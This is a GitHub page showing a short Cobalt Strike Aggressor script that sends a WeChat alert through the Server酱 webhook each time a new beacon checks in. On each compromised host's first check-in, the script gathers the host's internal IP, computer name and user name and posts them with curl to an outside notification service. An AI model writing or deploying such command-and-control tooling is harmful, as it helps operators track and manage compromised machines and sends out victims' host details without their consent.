-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathWeChatPush.cna
More file actions
36 lines (23 loc) · 1.18 KB
/
Copy pathWeChatPush.cna
File metadata and controls
36 lines (23 loc) · 1.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# auth:loecho
# Server酱_Config:
$Server_Key = ' '; # Server酱的Key
$teamserver_hostname = ' '; # 可以备注你的服务端名称
$Server_Title = 'Beacon-%E4%B8%8A%E7%BA%BF%E6%8F%90%E9%86%92!';
# 测试:
on ready {
$Server_webhookURL = 'https://sc.ftqq.com/'.$Server_Key.'.send';
$test_message = 'Success!';
@curl_command = @('curl', '-X', 'POST', '--data-urlencode', 'text='.$test_message, $Server_webhookURL);
exec(@curl_command);
}
# 上线提醒:
on beacon_initial {
println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
local('$internalIP $computerName $userName');
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$info = '%0D%0A%0D%0AServerName: '.$teamserver_hostname.'%0D%0A%0D%0AComputerName : '.$computerName.'%0D%0A%0D%0AUserName : '.$userName.'%0D%0A%0D%0AIPaddres : '.$internalIP;
@curl_command = @('curl', '-X', 'POST', '--data-binary', 'text='.$Server_Title.'&desp='.$info, $Server_webhookURL);
exec(@curl_command);
}